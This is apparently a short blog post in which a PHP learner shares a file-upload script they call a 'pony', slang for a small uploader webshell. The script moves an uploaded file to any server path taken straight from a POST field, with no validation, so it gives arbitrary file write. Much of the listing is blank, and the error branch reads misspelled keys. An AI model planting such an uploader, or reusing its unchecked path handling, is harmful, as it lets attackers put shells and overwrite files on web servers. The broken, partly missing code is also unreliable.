I was learning PHP recently and saw the file uploading part, so I simply wrote a PHP file uploading script. It can be said to be a pony, with no technical content, just for practice~
01
02
03
04
05
06
07 Path:
08
09
16
17
18
19 if(move_uploaded_file($_FILES['upfile']['tmp_name'],$_POST['choose']))
20 {
21 echo "The file upload successful";
22 }
23 else
24 {
25 if($_FILES['upfiles']['erro'] != 0 )
26 echo "The file upload failed, you can try other folder.";
27 }
28
29 ?>
30
31 Code by Str1ven
32 Email:str1ven@foxmail.com
33
34
Excerpted from: Str1ven's Blog